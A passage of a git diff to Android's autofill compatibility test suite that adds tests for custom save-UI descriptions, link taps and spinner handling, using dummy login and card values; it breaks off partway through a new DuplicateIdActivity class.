         super.onCreate(savedInstanceState);
 
         setContentView(getContentView());
 
-        mCcNumber = (EditText) findViewById(R.id.cc_number);
-        mCcExpiration = (Spinner) findViewById(R.id.cc_expiration);
-        mAddress = (RadioGroup) findViewById(R.id.address);
-        mHomeAddress = (RadioButton ) findViewById(R.id.home_address);
-        mSaveCc = (CheckBox) findViewById(R.id.save_cc);
-        mBuyButton = (Button) findViewById(R.id.buy);
-        mClearButton = (Button) findViewById(R.id.clear);
+        mCcNumber = findViewById(R.id.cc_number);
+        mCcExpiration = findViewById(R.id.cc_expiration);
+        mAddress = findViewById(R.id.address);
+        mHomeAddress = findViewById(R.id.home_address);
+        mSaveCc = findViewById(R.id.save_cc);
+        mBuyButton = findViewById(R.id.buy);
+        mClearButton = findViewById(R.id.clear);
 
         mCcExpirationAdapter = createFromResource(this,
                 R.array.cc_expiration_values, android.R.layout.simple_spinner_item);
@@ -98,6 +104,12 @@
         mClearButton.setOnClickListener((v) -> resetFields());
     }
 
+    static void finishIt() {
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
     protected int getContentView() {
         return R.layout.checkout_activity;
     }
@@ -203,6 +215,18 @@
                 .that(called).isTrue();
     }
 
+    EditText getCcNumber() {
+        return mCcNumber;
+    }
+
+    Spinner getCcExpiration() {
+        return mCcExpiration;
+    }
+
+    ArrayAdapter<CharSequence> getCcExpirationAdapter() {
+        return mCcExpirationAdapter;
+    }
+
     /**
      * Holder for the expected auto-fill values.
      */
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
index 6ba5431..59b0b7c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -42,7 +42,12 @@
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
 import android.widget.ArrayAdapter;
+import android.widget.RemoteViews;
 import android.widget.Spinner;
 
 import org.junit.After;
@@ -51,6 +56,7 @@
 import org.junit.Test;
 
 import java.util.Arrays;
+import java.util.regex.Pattern;
 
 /**
  * Test case for an activity containing non-TextField views.
@@ -101,7 +107,7 @@
         final CharSequence[] options = ccExpirationNode.getAutofillOptions();
         assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNotNull();
         assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
-                .containsExactly(
+                .containsExactly((Object [])
                         getContext().getResources().getStringArray(R.array.cc_expiration_values))
                 .inOrder();
 
@@ -242,4 +248,114 @@
         assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_WORK_ADDRESS), true);
         assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
     }
+
+    /**
+     * Tests that a spinner can be used on custom save descriptions.
+     */
+    @Test
+    public void testCustomizedSaveUi() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final String packageName = getContext().getPackageName();
+
+        final RemoteViews presentation = new RemoteViews(packageName,
+                R.layout.two_horizontal_text_fields);
+        final CharSequenceTransformation trans1 = new CharSequenceTransformation
+                .Builder(mActivity.getCcNumber().getAutofillId(), Pattern.compile("(.*)"), "$1")
+                .build();
+        final CharSequenceTransformation trans2 = new CharSequenceTransformation
+                .Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
+                .build();
+        final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+                .addChild(R.id.first, trans1)
+                .addChild(R.id.second, trans2)
+                .build();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+                .setCustomDescription(customDescription)
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.tapBuy();
+
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+        // Then make sure it does have the custom views on it...
+        final UiObject2 staticText = saveUi.findObject(By.res(packageName, "static_text"));
+        assertThat(staticText).isNotNull();
+        assertThat(staticText.getText()).isEqualTo("YO:");
+
+        final UiObject2 number = saveUi.findObject(By.res(packageName, "first"));
+        assertThat(number).isNotNull();
+        assertThat(number.getText()).isEqualTo("4815162342");
+
+        final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
+        assertThat(expiration).isNotNull();
+        assertThat(expiration.getText()).isEqualTo("today");
+    }
+
+    /**
+     * Tests that a custom save description is ignored when the selected spinner element is not
+     * available in the autofill options.
+     */
+    @Test
+    public void testCustomizedSaveUiWhenListResolutionFails() throws Exception {
+        // Set service.
+        enableService();
+
+        // Change spinner to return just one item so the transformation throws an exception when
+        // fetching it.
+        mActivity.getCcExpirationAdapter().setAutofillOptions("D'OH!");
+
+        // Set expectations.
+        final String packageName = getContext().getPackageName();
+        final RemoteViews presentation = new RemoteViews(packageName,
+                R.layout.two_horizontal_text_fields);
+        final CharSequenceTransformation trans1 = new CharSequenceTransformation
+                .Builder(mActivity.getCcNumber().getAutofillId(), Pattern.compile("(.*)"), "$1")
+                .build();
+        final CharSequenceTransformation trans2 = new CharSequenceTransformation
+                .Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
+                .build();
+        final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+                .addChild(R.id.first, trans1)
+                .addChild(R.id.second, trans2)
+                .build();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+                .setCustomDescription(customDescription)
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.tapBuy();
+
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+        // Then make sure it does not have the custom views on it...
+        assertThat(saveUi.findObject(By.res(packageName, "static_text"))).isNull();
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
new file mode 100644
index 0000000..b7acfc6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
+import static android.autofillservice.cts.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.ImageTransformation;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.function.BiFunction;
+import java.util.regex.Pattern;
+
+public class CustomDescriptionTest extends AutoFillServiceTestCase {
+    @Rule
+    public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+        new AutofillActivityTestRule<>(LoginActivity.class);
+
+    private LoginActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    /**
+     * Base test
+     *
+     * @param descriptionBuilder method to build a custom description
+     * @param uiVerifier         Ran when the custom description is shown
+     */
+    private void testCustomDescription(
+            @NonNull BiFunction<AutofillId, AutofillId, CustomDescription> descriptionBuilder,
+            @Nullable Runnable uiVerifier) throws Exception {
+        enableService();
+
+        final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+        final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+        // Set response with custom description
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+                .setCustomDescription(descriptionBuilder.apply(usernameId, passwordId))
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("usernm"));
+        mActivity.onPassword((v) -> v.setText("passwd"));
+        mActivity.tapLogin();
+
+        if (uiVerifier != null) {
+            uiVerifier.run();
+        }
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextSaveRequest();
+
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void validTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                    R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+            ImageTransformation trans2 = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"),
+                    R.drawable.android).build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .build();
+        }, () -> assertSaveUiWithCustomDescriptionIsShown("usernm..wd"));
+    }
+
+    @Test
+    public void badImageTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                    R.layout.two_horizontal_text_fields);
+
+            ImageTransformation trans = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"), 1)
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithCustomDescriptionIsShown() );
+    }
+
+    @Test
+    public void unusedImageTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                    R.layout.two_horizontal_text_fields);
+
+            ImageTransformation trans = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void applyImageTransformationToTextView() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                    R.layout.two_horizontal_text_fields);
+
+            ImageTransformation trans = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void failFirstFailAll() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                    R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$42")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void failSecondFailAll() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                    R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$42")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void applyCharSequenceTransformationToImageView() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                    R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    private void multipleTransformationsForSameFieldTest(boolean matchFirst) throws Exception {
+        enableService();
+
+        // Set response with custom description
+        final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+        final CharSequenceTransformation firstTrans = new CharSequenceTransformation
+                .Builder(usernameId, Pattern.compile("(marco)"), "polo")
+                .build();
+        final CharSequenceTransformation secondTrans = new CharSequenceTransformation
+                .Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
+                .build();
+        final RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+                R.layout.two_horizontal_text_fields);
+        final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+                .addChild(R.id.first, firstTrans)
+                .addChild(R.id.first, secondTrans)
+                .build();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .setCustomDescription(customDescription)
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        final String username = matchFirst ? "marco" : "MARCO";
+        mActivity.onUsername((v) -> v.setText(username));
+        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+        mActivity.tapLogin();
+
+        final String expectedText = matchFirst ? "polo" : "POLO";
+        assertSaveUiWithCustomDescriptionIsShown(expectedText);
+    }
+
+    @Test
+    public void applyMultipleTransformationsForSameField_matchFirst() throws Exception {
+        multipleTransformationsForSameFieldTest(true);
+    }
+
+    @Test
+    public void applyMultipleTransformationsForSameField_matchSecond() throws Exception {
+        multipleTransformationsForSameFieldTest(false);
+    }
+
+    private void assertSaveUiWithoutCustomDescriptionIsShown() {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Then make sure it does not have the custom view on it.
+        assertWithMessage("found static_text on SaveUI (%s)", sUiBot.getChildrenAsText(saveUi))
+            .that(saveUi.findObject(By.res(mPackageName, "static_text"))).isNull();
+    }
+
+    private UiObject2 assertSaveUiWithCustomDescriptionIsShown() {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Then make sure it does have the custom view on it...
+        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
+        assertThat(staticText).isNotNull();
+        assertThat(staticText.getText()).isEqualTo("YO:");
+
+        return saveUi;
+    }
+
+    private void assertSaveUiWithCustomDescriptionIsShown(String expectedText) {
+        final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
+        assertWithMessage("didn't find '%s' on SaveUI (%s)", expectedText,
+                sUiBot.getChildrenAsText(saveUi))
+                        .that(saveUi.findObject(By.text(expectedText))).isNotNull();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
new file mode 100644
index 0000000..e232f94
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -0,0 +1,271 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.service.autofill.CustomDescription;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.widget.RemoteViews;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * Template for tests cases that test what happens when a link in the {@link CustomDescription} is
+ * tapped by the user.
+ *
+ * <p>It must be extend by 2 sub-class to provide tests for the 2 distinct scenarios:
+ * <ul>
+ *   <li>Save is triggered by 1st activity finishing and launching a 2nd activity.
+ *   <li>Save is triggered by explicit {@link android.view.autofill.AutofillManager#commit()} call
+ *       and shown in the same activity.
+ * </ul>
+ *
+ * <p>The overall behavior should be the same in both cases, although the implementation of the
+ * tests per se will be sligthly different.
+ */
+abstract class CustomDescriptionWithLinkTestCase extends AutoFillServiceTestCase {
+
+    private static final String ID_LINK = "link";
+
+    /**
+     * Tests scenarios when user taps a link in the custom description and then taps back:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_tapBack() throws Exception {
+        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_BACK_BUTTON);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, change the screen
+     * orientation while the new activity is show, then taps back:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_changeOrientationThenTapBack() throws Exception {
+        assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
+
+        sUiBot.setScreenResolution();
+        sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+        try {
+            saveUiRestoredAfterTappingLinkTest(
+                    PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
+        } finally {
+            sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+            try {
+                cleanUpAfterScreenOrientationIsBackToPortrait();
+            } finally {
+                sUiBot.resetScreenResolution();
+            }
+        }
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then the new activity
+     * finishes:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_finishActivity() throws Exception {
+        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.FINISH_ACTIVITY);
+    }
+
+    protected abstract void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception;
+
+    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and touch outside the Save UI to dismiss it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverByTouchOutsideAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and touch outside the Save UI to dismiss it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public void testTapLink_tapBack_thenStartOverByTouchOutsideAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, true);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and tap the "No" button to dismiss it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingNoAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI,
+                false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and tap the "No" button to dismiss it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingNoAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI, true);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and the "Yes" button to save it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingYesAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI,
+                false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and the "Yes" button to save it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingYesAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI, true);
+    }
+
+    protected abstract void tapLinkThenTapBackThenStartOverTest(
+            PostSaveLinkTappedAction action, boolean manualRequest) throws Exception;
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then double-tap recents
+     * to go back to the original activity:
+     * the Save UI should have been canceled.
+     */
+    @Test
+    @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+    public final void testTapLink_backToPreviousActivityByTappingRecents()
+            throws Exception {
+        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_RECENTS);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then re-launches the
+     * original activity:
+     * the Save UI should have been canceled.
+     */
+    @Test
+    public final void testTapLink_backToPreviousActivityByLaunchingIt()
+            throws Exception {
+        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_PREVIOUS_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then launches a 3rd
+     * activity:
+     * the Save UI should have been canceled.
+     */
+    @Test
+    public final void testTapLink_launchNewActivityThenTapBack() throws Exception {
+        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
+    }
+
+    @Test
+    public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
+            throws Exception {
+        tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest();
+    }
+
+    protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception;
+
+    enum PostSaveLinkTappedAction {
+        TAP_BACK_BUTTON,
+        ROTATE_THEN_TAP_BACK_BUTTON,
+        TAP_RECENTS,
+        FINISH_ACTIVITY,
+        LAUNCH_NEW_ACTIVITY,
+        LAUNCH_PREVIOUS_ACTIVITY,
+        TOUCH_OUTSIDE,
+        TAP_NO_ON_SAVE_UI,
+        TAP_YES_ON_SAVE_UI
+    }
+
+    protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception;
+
+    protected final void startActivity(Class<?> clazz) {
+        mContext.startActivity(new Intent(mContext, clazz));
+    }
+
+    protected final CustomDescription newCustomDescription(
+            Class<? extends Activity> activityClass) {
+        final Intent intent = new Intent(mContext, activityClass);
+        intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        return newCustomDescription(intent);
+    }
+
+    protected final CustomDescription newCustomDescription(Intent intent) {
+        final RemoteViews presentation = new RemoteViews(mPackageName,
+                R.layout.custom_description_with_link);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
+        return new CustomDescription.Builder(presentation).build();
+    }
+
+    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = sUiBot.assertSaveShowing(saveType);
+        // Then make sure it does have the custom view with link on it...
+        getLink(saveUi);
+        return saveUi;
+    }
+
+    protected final UiObject2 getLink(final UiObject2 container) {
+        final UiObject2 button = container.findObject(By.res(mPackageName, ID_LINK));
+        assertThat(button).isNotNull();
+        assertThat(button.getText()).isEqualTo("DON'T TAP ME!");
+        return button;
+    }
+
+    protected final void tapSaveUiLink(UiObject2 saveUi) {
+        getLink(saveUi).click();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
index 1d4f652..d977ac6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
@@ -22,8 +22,6 @@
 import static android.autofillservice.cts.Helper.assertTextAndValue;
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
 import static com.google.common.truth.Truth.assertWithMessage;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DismissType.java b/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
new file mode 100644
index 0000000..ae9b9cd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+/**
+ * A simple enum for test cases where the Save UI is dismissed.
+ *
+ * <p><b>Note:</b> When new values are added to the enum, the equivalent tests must be added to
+ * both {@link LoginActivityTest} and {@link SimpleSaveActivityTest}.
+ */
+enum DismissType {
+    BACK_BUTTON,
+    HOME_BUTTON,
+    RECENTS_BUTTON,
+    TOUCH_OUTSIDE,
+    FOCUS_OUTSIDE
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
new file mode 100644
index 0000000..31ac8f7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.util.Log;
+
+public class DuplicateIdActivity extends AbstractAutoFillActivity {
+    private static final String LOG_TAG = DuplicateIdActivity.class.getSimpleName();
+
+    static final String DUPLICATE_ID = "duplicate_id";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState != null) {
